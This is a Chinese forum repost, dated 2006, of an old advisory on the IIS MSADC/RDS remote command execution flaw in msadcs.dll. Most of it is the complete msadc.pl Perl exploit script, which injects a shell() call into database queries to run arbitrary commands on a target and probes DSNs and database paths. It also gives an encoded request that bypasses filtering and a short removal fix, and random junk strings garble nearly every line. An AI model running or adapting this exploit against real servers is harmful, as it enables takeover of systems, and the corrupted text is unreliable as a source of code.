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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) d>k"#|  
:@c\a99Kx  
涉及程序: ]IeyJ  
Microsoft NT server VqBb=1r%o7  
KOYcT'J@vR  
描述: Nt/#Qu2#br  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mZ! 1Vh  
 M_ii  
详细: ;'7gg]  
如果你没有时间读详细内容的话,就删除: ? 1 ~C`I;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 72akOx   
有关的安全问题就没有了。 ])D39  
79G& 0 P\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [~U CYYl  
|4?O4QN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 M9dOLM.  
关于利用ODBC远程漏洞的描述,请参看: Ce-D^9kC  
E@N& Y1t  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]J)3y+;P  
y{O81 7 \  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 p0bMgP  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5* 3T+OK  
5rPK7Jh`B  
这里不再论述。 l6z}D; 4  
{wy#HYhv  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \`N<0COP  
QsC6\Gt#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  _7P#?:h  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! rFl6xM;F  
PZE{- TM?W  
ZT1IN6;8W  
#将下面这段保存为txt文件,然后: "perl -x 文件名" , I^:xw_  
DB>.Uf"  
#!perl uX8yS|= *  
# qdY*y&}"J  
# MSADC/RDS 'usage' (aka exploit) script Udl8?EVSz  
# %wk3&EC.  
# by rain.forest.puppy V0)F/qY  
# Hy| X>Z  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V^/]h u  
# beta test and find errors! p*OpO&oodu  
2/4,iu(T`c  
use Socket; use Getopt::Std; { 2\.  
getopts("e:vd:h:XR", \%args); HHXm 4}!;<  
MzX4/*ba  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; CF0i72ul5  
jp|1S^b  
if (!defined $args{h} && !defined $args{R}) { +u|p<z  
print qq~ b@?pofZ`k  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vzPuk|q3  
-h <host> = host you want to scan (ip or domain) c2fqueK|:W  
-d <seconds> = delay between calls, default 1 second e A'1  
-X = dump Index Server path table, if available p"k[ac{  
-v = verbose MbJ|6g99  
-e = external dictionary file for step 5 ,bnrVa(I  
Uh=@8v  
Or a -R will resume a command session wr{ [4$O  
K! e51P  
~; exit;} ,'c?^ $J|z  
iciw 54;4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; [r f.&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -ttH{SslM  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} u{d\3-]/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W&HF*Aw  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} jGaI6G'N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qG?svt  
W1;u%>Uh  
if (!defined $args{R}){ $ret = &has_msadc; v>oWk:iJP  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6 ~LCj"  
KE*8Y4#9  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 7,:$, bL  
. "cmd /c "; 9Atnnx]n  
$in=<STDIN>; chomp $in; NR|t~C+  
$command="cmd /c " . $in ; /@`kM'1:  
sBV})8]K M  
if (defined $args{R}) {&load; exit;} Z @d(0 z  
B>Xfs ZS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";  V9cKl[  
&try_btcustmr; =}^J6+TVL  
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print "\nStep 2: Trying to make our own DSN..."; RI</T3%~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +q-/~G'  
{j!+\neL  
print "\nStep 3: Trying known DSNs..."; qrxn%#\XP  
&known_dsn; /lqVMlz\77  
n,vs(ZL:  
print "\nStep 4: Trying known .mdbs..."; Exu>%  
&known_mdb; uFl19  
b<1+q{0r  
if (defined $args{e}){ 6l,oL'$}P1  
print "\nStep 5: Trying dictionary of DSN names..."; %UnL,V9)  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N_^s;Qj  
n)xLEx,  
print "Sorry Charley...maybe next time?\n"; xG"*w@fs7  
exit; eGr;PaG  
l:$i}.C  
############################################################################## TOC2[m c'  
NPY\ >pf  
sub sendraw { # ripped and modded from whisker f&ri=VJY\T  
sleep($delay); # it's a DoS on the server! At least on mine... ;eQOBGX9  
my ($pstr)=@_; (m%A>e B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Htn''adg5  
die("Socket problems\n"); i?0+f }5<p  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,UE>@;]  
select(S); $|=1; m&!4*D  
print $pstr; my @in=<S>; #'lqE)T  
select(STDOUT); close(S); |jT^[q(z  
return @in; DLBHZ?+!  
} else { die("Can't connect...\n"); }} C0v1x=(xiM  
kD.KZV  
############################################################################## bDq[j8IT6  
bxR6@  
sub make_header { # make the HTTP request BfOQ/k))  
my $msadc=<<EOT PTZ/j g@71  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 NuQ l  
User-Agent: ACTIVEDATA <)am]+Lswy  
Host: $ip T\3a T  
Content-Length: $clen 5N.-m;s  
Connection: Keep-Alive BK;Gh0mp  
{.mP e|  
ADCClientVersion:01.06 i0/RvrLc  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 TP R$oO2  
f:hsE  
--!ADM!ROX!YOUR!WORLD! !${7)=|=1  
Content-Type: application/x-varg !]*Cwbh. u  
Content-Length: $reqlen ?=#vp /  
JDp{d c  
EOT yMVlTO  
; $msadc=~s/\n/\r\n/g; ;FfDi*S7  
return $msadc;} 3 jR I@  
mMSQW6~j  
############################################################################## <g3)!VR^q  
+p"}F PIK  
sub make_req { # make the RDS request mJN*DP{  
my ($switch, $p1, $p2)=@_; H.=S08c3kA  
my $req=""; my $t1, $t2, $query, $dsn; P~d&PhOe  
x4=Sm0Ro|V  
if ($switch==1){ # this is the btcustmr.mdb query *3Qwmom  
$query="Select * from Customers where City=" . make_shell(); oQ:.pq{T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . d.Im{-S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} e:uk``\  
~dz,eB  
elsif ($switch==2){ # this is general make table query 2uZ4$_  
$query="create table AZZ (B int, C varchar(10))"; 6>=yX6U1q^  
$dsn="$p1";} fWk,k*Z 9  
mi]bS  
elsif ($switch==3){ # this is general exploit table query :XFr"aSt  
$query="select * from AZZ where C=" . make_shell(); jRGslak;  
$dsn="$p1";} XV %DhR=  
0s'h2={iI  
elsif ($switch==4){ # attempt to hork file info from index server bpgvLZb>s  
$query="select path from scope()"; "kS!rJ[  
$dsn="Provider=MSIDXS;";} s:ZYiZ-  
8Z[YcLy"({  
elsif ($switch==5){ # bad query `WRM7  
$query="select"; $s.:H4:I  
$dsn="$p1";} h'm-]v  
;vuqI5k  
$t1= make_unicode($query); Wb{0UkApJ  
$t2= make_unicode($dsn); hb ="J349  
$req = "\x02\x00\x03\x00"; rZ#ZY  
$req.= "\x08\x00" . pack ("S1", length($t1)); HzQ Y\Y6  
$req.= "\x00\x00" . $t1 ; iKM!>Fi  
$req.= "\x08\x00" . pack ("S1", length($t2)); )Gm,%[?2C  
$req.= "\x00\x00" . $t2 ; $~c wB  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; eEl71  
return $req;} BL[N  
'^!#*O  
############################################################################## 9,c_(%C  
+{h.nqdAE  
sub make_shell { # this makes the shell() statement fPBJ%SZ  
return "'|shell(\"$command\")|'";} Uu_Es{@  
@ Cd#\D|  
############################################################################## -~] q?k?  
A~)#  
sub make_unicode { # quick little function to convert to unicode PX/7:D?  
my ($in)=@_; my $out; %iR"eEE  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } a${<~M hm  
return $out;} ^g SZzJ5  
 $+  
############################################################################## N> jQe  
C116 c"  
sub rdo_success { # checks for RDO return success (this is kludge) Q5xQ5Le  
my (@in) = @_; my $base=content_start(@in); Ek6z[G` O  
if($in[$base]=~/multipart\/mixed/){ z;Jz^m-  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 9y+0Zj+.  
return 0;} 38E %]*5F  
m"/ o4  
############################################################################## L.?QZN%cN  
s C>Oyh:%!  
sub make_dsn { # this makes a DSN for us yQ!I`T>a  
my @drives=("c","d","e","f"); q5xF~SQGw2  
print "\nMaking DSN: "; Us2IeR  
foreach $drive (@drives) { h<<uef9  
print "$drive: "; '4ip~>3?w  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . .L@gq/x)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #1De#uZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 1Eh6ti  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; of=N+ W  
return 0 if $2 eq "404"; # not found/doesn't exist /Os6i&;  
if($2 eq "200") { lc[)O3,,B  
foreach $line (@results) { (L<q Jd1Q  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} G _-JR  
} return 0;} hN^,'O  
IqAML|C  
############################################################################## [9^lAhX  
("KtJ  
sub verify_exists { lG5KZ[/Or  
my ($page)=@_; '\M]$`Et  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8+@j %l j  
return $results[0];} hQ ?zc_ 3  
6,cJ3~!48  
############################################################################## cDIZkni=  
p1N3AhXY  
sub try_btcustmr { bRD-[)  
my @drives=("c","d","e","f"); )uu(I5St  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ge7Uety  
Nsn~mY%  
foreach $dir (@dirs) { H <9_BA?  
print "$dir -> "; # fun status so you can see progress H~ E<ek'~  
foreach $drive (@drives) { %<0'xJ%%Q  
print "$drive: "; # ditto [\3W_jR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; q ;"/i*+3  
$reqlenlen=length( "$reqlen" ); 7epil  
$clen= 206 + $reqlenlen + $reqlen; UZpQ%~/  
3 <)+)n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Z 4QL&?U  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} R-YNg  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} R} X"di  
G=/^]E  
############################################################################## #y-R*4G  
Du #>y!  
sub odbc_error { goe %'k,  
my (@in)=@_; my $base; .*edaDi  
my $base = content_start(@in); +ib&6IU  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this GL%)s?   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h S)lQl:^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #&X5Di[A  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U"RA*|  
return $in[$base+4].$in[$base+5].$in[$base+6];} -AN5LE9-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; GkpYf~\Q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H<3:1*E  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K0~=9/  
^8KxU  
##############################################################################  SQ&}18Z~  
)#8}xAjV  
sub verbose { [y~kF?a  
my ($in)=@_; L*OG2liJ  
return if !$verbose; bFhZSk )  
print STDOUT "\n$in\n";} vnWt8?)]^  
(8baa.ge  
############################################################################## EU7nS3K)O~  
RN&6z"|jR  
sub save { EM(%|#  
my ($p1, $p2, $p3, $p4)=@_; ,xg-H6Xfa{  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; T|,/C|L  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %l?*w~x  
close OUT;} $*`E;}S0  
&NOCRabc  
############################################################################## VTU(C&"S  
eA*We  
sub load { fA"c9(>m%]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; k t'[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  //0Y#"  
@p=<IN>; close(IN); :k-@w5(  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g/(BV7V  
$target= inet_aton($ip) || die("inet_aton problems"); *eGG6$I  
print "Resuming to $ip ..."; -<L5;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; wrc1N?[bn  
if($p[1]==1) { 8"TlWHF`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; R xS{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; W[sQ_Z1C  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); P%ThW9^vnj  
if (rdo_success(@results)){print "Success!\n";} >;lrH&  
else { print "failed\n"; verbose(odbc_error(@results));}} $4*gi&  
elsif ($p[1]==3){ P_5G'[  
if(run_query("$p[3]")){ @Ko#nDEq  
print "Success!\n";} else { print "failed\n"; }} -/ G#ls|?  
elsif ($p[1]==4){ `n@;%*6/  
if(run_query($drvst . "$p[3]")){ 5g.w"0MkY  
print "Success!\n"; } else { print "failed\n"; }} qHgzgS7a  
exit;} Kn1T2WSAg  
`6RccEm  
############################################################################## \r9E6LL X'  
X#Ob^E%J  
sub create_table { Qsw.429t  
my ($in)=@_; [kTckZv  
$reqlen=length( make_req(2,$in,"") ) - 28; nch#DE8 2  
$reqlenlen=length( "$reqlen" ); f:t j   
$clen= 206 + $reqlenlen + $reqlen; 1;PI%++  
my @results=sendraw(make_header() . make_req(2,$in,"")); -?l`LbD  
return 1 if rdo_success(@results); @-Y,9mM   
my $temp= odbc_error(@results); verbose($temp); M2;6Cz>,P  
return 1 if $temp=~/Table 'AZZ' already exists/; @REMl~"D5  
return 0;} xs )jO+.  
=v0w\( ?N  
############################################################################## _Fn`G .r<  
ZvLI~ul(zT  
sub known_dsn { gLY15v4?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @=%g{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `4?|yp.|L  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ty:{e]e  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =f23lA  
JNT|h zV  
foreach $dSn (@dsns) { 'MW O3  
print "."; |tU wlc>  
next if (!is_access("DSN=$dSn")); rxs:)# ?A  
if(create_table("DSN=$dSn")){ 2R ^6L@fw  
print "$dSn successful\n"; _0ZU I^#  
if(run_query("DSN=$dSn")){ k)[c!\a[i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R<vbhB/lU  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Bz|/TV?X(  
 3bJ|L3G  
############################################################################## I-=Ieq"R9  
*yY\d.6(  
sub is_access { GZHJ 4|DK  
my ($in)=@_; sCmN|Q  
$reqlen=length( make_req(5,$in,"") ) - 28; aK]AhOG   
$reqlenlen=length( "$reqlen" ); sl"H!cwF  
$clen= 206 + $reqlenlen + $reqlen; $e{[fm x  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7G7"Zule*j  
my $temp= odbc_error(@results); 8F'm#0  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); s}yN_D+V  
return 0;} TA8  
Bj"fUI!dK  
############################################################################## m. \JO  
&;`E3$>  
sub run_query { u.*}'C>^^v  
my ($in)=@_; 4)>S3Yr  
$reqlen=length( make_req(3,$in,"") ) - 28; KV-h~C  
$reqlenlen=length( "$reqlen" ); ;.rY`<|  
$clen= 206 + $reqlenlen + $reqlen; JStEOQF4  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^.  
return 1 if rdo_success(@results); $pt~?ZZ3-  
my $temp= odbc_error(@results); verbose($temp); mB6%. "  
return 0;} Gd'_X D  
K r<UPr  
############################################################################## us8HXvvp{  
E$ &bl  
sub known_mdb { :t;i2Ck  
my @drives=("c","d","e","f","g"); -3y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V#+F*w?&D  
my $dir, $drive, $mdb; VS!v7-_N5  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; I~Qi):&x  
c4r9k-w0E  
# this is sparse, because I don't know of many 8H T3C\$s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", OF )*kiJ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [Q\(k d*4  
"\\system32\\certmdb.mdb", 3xmPY.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `I4E': ZG  
F~hH>BH9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", pSEaE9AX%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kY6_n4  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 'cAS>s"$}V  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;j[:tt\k  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 5R%y3::$S  
"\\cfusion\\database\\cfexamples.mdb", +EqL|  
"\\cfusion\\database\\cfsnippets.mdb", 0%Y}CDn_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", }f% Qk0^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", lDF7~N9J_  
"\\cfusion\\brighttiger\\database\\cleam.mdb", g:!R't?  
"\\cfusion\\database\\smpolicy.mdb", e\f\CMb  
"\\cfusion\\database\cypress.mdb", &Vu-*?  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", PfB9 .f{  
"\\website\\cgi-win\\dbsample.mdb", *~*"p)`<  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", om=kA"&&Q  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _^ic@h3'X~  
); #these are just rY&#g%B6Fp  
foreach $drive (@drives) { (ip3{d{CT]  
foreach $dir (@dirs){ la4%Vqwgu  
foreach $mdb (@sysmdbs) {  c,M"a  
print "."; t<$J 3h/"  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;O 5Iu  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; e p Dp*  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ PnB2a'(^@?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <OJqeUo+*\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $!_}d  
yD`pUE$  
foreach $drive (@drives) { <^'IC9D]  
foreach $mdb (@mdbs) { 4x?I,cAN  
print "."; A:(qF.Tm  
if(create_table($drv . $drive . $dir . $mdb)){ X?JtEQ~>  
print "\n" . $drive . $dir . $mdb . " successful\n"; p,uM)LD  
if(run_query($drv . $drive . $dir . $mdb)){ Q`4I a<5B  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }W[=O:p  
} else { print "Something's borked. Use verbose next time\n"; }}}} h|i b*%P_  
} 1jAuW~  
eNM"e-  
############################################################################## =UWW(^M#[:  
w>}n1Nc$G  
sub hork_idx { )]<^*b>  
print "\nAttempting to dump Index Server tables...\n"; hJw]hVYa  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &OEBAtc/  
$reqlen=length( make_req(4,"","") ) - 28; ;B(16&l=q  
$reqlenlen=length( "$reqlen" ); qV,x)y:V  
$clen= 206 + $reqlenlen + $reqlen; ,S@B[+VZ  
my @results=sendraw2(make_header() . make_req(4,"","")); E9t8SclV  
if (rdo_success(@results)){ "Vp:Sq9y  
my $max=@results; my $c; my %d; l8_RA  
for($c=19; $c<$max; $c++){ fA[T5<66  
$results[$c]=~s/\x00//g; :Z_abKt  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ir*{IVvej  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; (v:8p!QN  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; C7}iwklcsa  
$d{"$1$2"}="";} klY, @  
foreach $c (keys %d){ print "$c\n"; }  twK3  
} else {print "Index server doesn't seem to be installed.\n"; }} z(2G"}  
~Ga{=OM??  
############################################################################## FL&Y/5  
=^l`c$G<  
sub dsn_dict { hhI*2|i"L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Gl6:2  
while(<IN>){ ]"YXa~b  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; w{;~  
next if (!is_access("DSN=$dSn")); }#Iqq9[  
if(create_table("DSN=$dSn")){ (Kg)cc[B`  
print "$dSn successful\n"; $BB^xJ\O  
if(run_query("DSN=$dSn")){ y&\t72C$Fi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sb1tQ=u[  
print "Something's borked. Use verbose next time\n";}}} Ox)_7A  
print "\n"; close(IN);} ~DB:/VSmu  
wAzaxeV=  
############################################################################## jIHY[yDT  
jZvIqR/  
sub sendraw2 { # ripped and modded from whisker se}$/Y}t  
sleep($delay); # it's a DoS on the server! At least on mine... 6Bexwf<u  
my ($pstr)=@_; zzh7 "M3Qn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7uF @Xh  
die("Socket problems\n"); w !<-e>  
if(connect(S,pack "SnA4x8",2,80,$target)){ knb0_nA  
print "Connected. Getting data"; 9(_n8br1  
open(OUT,">raw.out"); my @in; 9#~jlq(  
select(S); $|=1; print $pstr; Y`6<:8[?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Gc5mR9pV   
close(OUT); select(STDOUT); close(S); return @in; &NbSG+t  
} else { die("Can't connect...\n"); }} jYBiC DD  
!|9k&o  
############################################################################## 5Fq+^  
jMX|1b  
sub content_start { # this will take in the server headers P=y1qqC  
my (@in)=@_; my $c; 3Q)"  
for ($c=1;$c<500;$c++) { \8vZZt  
if($in[$c] =~/^\x0d\x0a/){ M9(lxu y1  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } "+ k}#<P4\  
else { return $c+1; }}} fi&>;0?7  
return -1;} # it should never get here actually i1]}Q$  
1-.i^Hal  
############################################################################## 7qWa>fX  
/#L4ec-'  
sub funky { - ku8n%u  
my (@in)=@_; my $error=odbc_error(@in); yZNg[KH  
if($error=~/ADO could not find the specified provider/){ 2Qc_TgWF  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3RcnoXX_  
exit;} Wg8*;dvtM  
if($error=~/A Handler is required/){ %N\8!aXnf  
print "\nServer has custom handler filters (they most likely are patched)\n"; ) :Px`] 5  
exit;} f'qM?GlET  
if($error=~/specified Handler has denied Access/){ lR`.V0xA   
print "\nServer has custom handler filters (they most likely are patched)\n";  /7Q9(}  
exit;}} _6YfPk+  
CwyE  8v  
############################################################################## j<9^BNl  
*<?KOM  
sub has_msadc { /;u=#qu(E-  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ') 2LP;(  
my $base=content_start(@results); q%)."10}]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [<Mls@?  
return 0;} Wkr31Du\K  
Vy c  
######################## u%OLXb  
ofgNL .u  
bhfKhXh8  
解决方案: \`-xxhb?e  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;rnhv:Iw  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ws U@hqS  
'mF&`BN}b  
拿出来充数 哈哈
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